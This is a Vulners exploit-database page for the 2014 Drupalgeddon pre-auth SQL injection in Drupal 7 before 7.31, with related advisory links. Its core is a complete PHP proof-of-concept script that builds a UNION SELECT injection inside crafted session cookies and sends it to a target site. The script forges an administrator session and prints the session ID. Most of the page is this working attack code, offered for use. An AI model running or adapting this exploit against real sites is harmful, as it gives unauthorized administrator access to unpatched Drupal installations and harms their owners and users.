Lucene search
K

Drupal 7.0 < 7.31 - Drupalgeddon SQL Injection (Admin Session) Exploit

🗓️ 29 Mar 2018 00:00:00Reported by Stefan HorstType 
zdt
 zdt
🔗 0day.today👁 864 Views

Drupalgeddon SQL Injection Exploit for Admin Session - 2014 by Stefan Hors

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Drupal 7.31 CORE pre Auth SQL Injection Vulnerability
17 Oct 201400:00
zdt
0day.today
Drupal HTTP Parameter Key/Value SQL Injection Vulnerability
18 Oct 201400:00
zdt
0day.today
Drupal < 7.32 Pre Auth SQL Injection Vulnerability
4 Nov 201400:00
zdt
FreeBSD
drupal7 -- SQL injection
15 Oct 201400:00
freebsd
ArchLinux
drupal: pre-auth sql injection
16 Oct 201400:00
archlinux
Gitee
Exploit for SQL Injection in Drupal
6 Oct 202020:54
gitee
Circl
CVE-2014-3704
16 Oct 201400:00
circl
CISA
Drupal Releases Security Advisory
17 Oct 201400:00
cisa
Check Point Advisories
SQL Servers Unauthorized Commands SQL Injection - Ver2 (CVE-2014-3704)
26 Mar 201500:00
checkpoint_advisories
CVE
CVE-2014-3704
16 Oct 201400:00
cve
Rows per page
<?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <[email protected]>
//·
 
include 'common.inc';
include 'password.inc';
 
// set values
$user_name = 'admin';
 
$url = isset($argv[1])?$argv[1]:'';
$user_id = isset($argv[2])?intval($argv[2]):1;
 
if ($url == '-h') {
      echo "usage:\n";
      echo $argv[0].' $url [$user_id]'."\n";
      die();
}
 
if (empty($url) || strpos($url,'https') === False) {
      echo "please state the cookie url. It works only with https urls.\n";
      die();
}
 
if (strpos($url, 'www.') === 0) {
      $url = substr($url, 4);
}
 
$url = rtrim($url,'/');
 
list( , $session_name) = explode('://', $url, 2);
 
// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');
 
$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();
 
$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,null -- ";
 
$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;
 
// send the request to the server
$ch = curl_init($url);
 
curl_setopt($ch,CURLOPT_HEADER,True);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');
 
curl_setopt($ch,CURLOPT_HTTPHEADER,array(
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Accept-Language: en-US,en;q=0.5'
));
 
curl_setopt($ch,CURLOPT_COOKIE,$cookie);
 
$output = curl_exec($ch);
 
curl_close($ch);
 
echo "Session with this ID created:\n";
echo "S".$cookieName.": ".$sec_ssid;

#  0day.today [2018-03-31]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Mar 2018 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.94366
864